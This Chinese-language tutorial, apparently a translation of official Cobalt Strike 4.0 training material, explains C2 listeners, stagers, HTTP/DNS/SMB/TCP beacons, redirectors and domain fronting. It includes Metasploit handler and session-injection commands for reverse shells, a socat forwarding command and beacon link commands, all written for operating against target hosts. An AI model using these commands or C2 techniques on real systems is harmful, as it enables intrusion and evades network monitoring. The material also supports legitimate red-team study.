本系列教程并非原创,仅用于学习交流。
基于最近本人在学习CS4.0,从各方面的学习,教程拿出来给大家分享。Cobalt Strike 4.0系列教程是按照官方发布的Cobalt Strike教程,进行的汉化翻译。原视频可在bilibili上搜索,同时感谢汉化组的分享。因为工具的强大性和实用性,所以想做一期专栏,希望大家支持。
提示:以下是本篇文章正文内容,下面案例可供参考
一个listener配置一个Cobalt strike payload,也只匹配一个payload控制器。在Cobal Strike中有如下三种监听器:
添加listener时确保每一个都其对应的名称,名称很重要,因为这样便于团队的其他成员去使用它。
stager是一个用来和C2建立连接并下载payload,然后执行payload的轻量级程序。
有时候目标环境限制了执行程序的大小,所以经常会制作比较轻量级的程序来执行payload,常见的有Powershell一句话。
stageless直接省略了下载payload的步骤,所以一般生成的stageless程序都是exe或者dll文件,相对stager来说要大得多,而且包含了一些特征。
在CS4中,stagers不再作为最流行的工具来使用,但是一些由用户驱动的攻击仍然使用stager。stager将不再对其控制端进行权限认证,因此stager将变得不安全。stager也变得脆弱了,如果它碰到了一些没有预期的情况时,可能stager会崩溃。这些stagers之所以还保留着是因为它们是为Metasploit框架服务的。stager的代码内容也是很容易被发现的,而且任何一种内存扫描器也应该能够发现它们。CS没有能力去在内存中清除这些特征或者是给他们添加混淆。
通过打开一个带有宏的word文档来创建子进程,然后通过打开文档执行宏代码执行stager程序,接着stager将通过HTTP或HTTPS协议请求C2控制器,请求的URI上会带有一个校验值,在校验值通过检查后,服务器将会将payload传回,然后stager将开始执行该payload。
如果你的stager是请求到Metasploit Framework Handler上,那么你将获得一个不够健壮(immature)的payload。如果你是请求到Coballt Strike的web服务上,那么你将获得一个beacon payload。
Metasploit Framework作为控制器的话,payload需要配置为windows meterpreter reverse http 或者 reverse https。Metasploit的攻击流程也是一样的,发送GET请求,然后下载Cobalt strike beacon payload,所以Cobal Strike允许你使用一个Metasploit Framework生成的exp来传输Cobal Strike beacon。
另外,Cobal Strike还可以派生shell给Metasploit(前提是有个beacon shell)。
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.100
lhost => 192.168.1.100
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit
Metasploit 也可以派生shell给Cobal Strike(前提有一个meterpreter)
msf exploit(handler) > use exploit/windows/local/payload_inject
msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http
msf exploit(payload_inject) > set DisablePayloadHandler true
msf exploit(payload_inject) > set LHOST 192.168.229.143
msf exploit(payload_inject) > set LPORT 1212
msf exploit(payload_inject) > set SESSION 1
msf exploit(payload_inject) > exploit
这样就可以从Cobal Strike传递一个session给Metasploit,也可以传递一个session从一个Cobal Strike实例给另外一个没有连接的Cobal Strike实例。
Cobal Strike是用foreign listener来实现配置payload handler参数的。
可以设置连接到多个主机(域名、IPv4、IPv6都可以,IPv6需要标准格式[::])
配置代理(可选项):
配置完毕后在Attacks - Web Drive-by - Scripted Web Delivery菜单配置web服务:
点击launch后会生成powershell一句话,复制到目标主机运行这个powershell脚本:
Cobal Strike将会与http beacon建立连接:
场景举例:一个C2控制器、一个运行了http beacon的目标主机
http beacon 向C2控制器发送GET请求,判断有无内容返回:
(1) 若C2无内容返回,那么beacon将会进行睡眠状态,之后beacon将会在一开始配置好的时间之后重新请求C2。
(2) 当C2返回了请求内容时,内容将会是一些被加密过的需要执行的payload。
当http beacon执行完payload之后需要将结果回传给Cobal Strike时,它将使用POST请求,请求内容为payload执行的结果被加密后的密文。如果payload执行后没有输出结果,那么将不会发送POST请求。
HTTPS Beacon的用法和HTTP一样,只是HTTPS使用了SSL证书而已
一般redirector设置在你的Cobal Strike实例和你的目标网络之间,redirector会将流量转发至你的Cobal Strike实例。redirector存在的意义是为了模糊你的Cobal Strike的Team server的位置,这相当于为你的Cobal Strike team server设置了多个IP地址。
你可以使用iptables、socat或者其他工具去转发流量到你的Cobal Strike Team server。命令如下:
socat TCP4-LISTEN:80,fork TCP4:[team server]:80
你也可以启用一个Apache或者Nginx服务作为你的Cobal Strike的反向代理来替代redirector的作用。
你还可以使用CDN,比如Amazon的Cloudfront来作为一个redirector转发https流量到你的Cobal Strike。
环境说明:
Cobal Strike配置redirectors:
在HTTP HOSTS里添加
CND Redirector要求如下
注:由于某些CDN(比如Cloudfront会修改cookie)在传输过程中可能会对HTTP header头部的内容进行修改。这本来没什么影响除非你的C2设置了通过HTTP headr的Cookie字段来传输数据给Cobal Strike。所以对于CDN转发的内容你得清楚地知道。
使用CDN Redirector有一个比较好的东西需要了解,那就是Domain Fronting(域前置),可以参考深信服社区的一篇文章Domain fronting域名前置网络攻击技术
实际效果是beacon向一个信誉度比较高的网站发送请求时,设置HTTP header里的Host为我们在CDN配置完毕后获得的一个CDN的二级域名(比如xxx.cloudfront.net),然后这个HTTP请求就会转发到CDN的地址,再转发到C2的地址。
如果目标主机使用了代理服务器向外界发送HTTP请求,那么在使用Domain Fronting时,代理服务器可能会检测到请求的URI和Host中的内容不一致,然后就会自动将Host的内容替换为URI中的域名,接着该请求就会发送给那个信誉度比较高的网站。然而如果你使用了HTTPS,一般就不会出现这个问题。(有些企业会对HTTPS流量进行监测,如果被监测发现了,Host头还是有可能会被纠正)
然而现在有些CDN自己开始对SSL流量进行监测去避免Domain Fronting。但是使用SSL协议传输,严格地说是使用TLS协议传输的数据包中HTTP协议的外层有一层SNI(Server Name Indication),SNI告诉了CDN这个HTTPS请求应该发给谁(实际SNI的值与Host的内容一致),然后CDN监测到了就会纠正这个HTTPS请求
#SNI举例:
Extension: server_name
Type: server_name (0x0000)
Length: 19
Server Name Indication extension
Server Name list length: 17
Server Name Type: host_name (0)
Server Name length: 14
Server Name: www.github.com
现在如果你想做Domain Fronting,那么可以直接在添加Listener的时候设置HTTP Host Header(可以参考0x04添加Listener那张图)。
DNS beacon是通过DNS解析来访问Cobal Strike Team Server的,所以运行Cobal Strike Team Server的服务器需要关闭本地的,运行Beacon的主机会将beacon的标识符伪装成一个子域名。
DNS Beacon举例:
DNS Stager host可以用于设置Redirector,Port(Bind)可以用于redirector的其他端口(默认为53端口),而Cobal Strike Team Server则使用53端口
鉴于HTTP可能存在无法访问的风险,新的DNS Beacon将不再使用HTTP通道,即不再使用HTTP下载Payload,默认将使用dns-txt通道通过DNS txt记录解析传输至Cobal Strike Team Server,然后通过DNS A请求返回payload。在Beacon的操作终端上可以切换通道(channel)。但是DNS请求内容和返回内容限制了长度,所以dns-txt会最大化使用域名长度(根据配置设定),dns-txt也是相对而言最好的。而dns和dns6则会对这种域名进行截断,因为在某些网络里,非常长的域名将会被自动拦截。
实例举例:
Team Server域名:malwarec2.losenolove.com
创建一个DNS Beacon listener:
linux下可使用dig +trace [域名]查看域名的解析过程
在目标主机执行powershell一句话执行DNS Beacon,Team Server结果如下:
界面上没有主机信息显示是因为没有发送测试数据,可以直接右键点击Interact进行交互后获得主机信息。可以使用sleep 5修改心跳时间(默认1min)
DNS通道是一个被限制数据大小的通道,如果需要传输大文件,那么可能需要通过发起多次DNS解析请求来传输,比如执行截图命令、执行Mimikatz,这将消耗很长时间。
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacon连接后,子Beacon从父Beacon获取到任务并发送。因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中通过445端口进行传输。
在Beacon控制台上输入link [host] [pipe name]命令进行连接Beacon操作,输入unlink [host] [pid]命令进行断连Beacon操作。如果你断开了当前Beacon的连接,那么它与它的子级Beacon也会断开连接。而这个子级Beacon将会进入到一个等待父级Beacon连接的状态。当你连接到一个Beacon时,可能会出现错误代码提示,上图举例说明了几个。
接着上面的DNS Beacon执行如下操作:
创建一个Cobal Strike Listener:
执行权限提升:
payload将会通过DNS Beacon传输并执行。
如果想要图形化地查看Beacon的关系,可以点击Cobal Strike - Visualization > Pivot Graph进行查看
TCP Beacon和SMB Beacon很像,它也可以被一个父级Beacon所控制,父级Beacon可以是TCP Beacon,也可以是SMB Beacon。这里的Bind to localhost only用于你需要使用TCP Beacon进行主机渗透的权限提升或者横向渗透的情况。
#连接到一个TCP Beacon
connect [host] [port]
#断连一个TCP Beacon,断连后将进入一个等待连接的状态
unlink [host] [pid]
基于之前的DNS Beacon 创建Listener:
DNS Beacon执行Spawn as
手动设置
payload也是通过DNS Beacon传输的
橙色的线代表连接的是SMB Beacon,蓝绿色的线则代表TCP Beacon
ExternalC2是由Cobalt Strike提出的一套规范/框架,它允许用户根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展。
声明:本教程仅用于学习交流,请勿用于其他用途!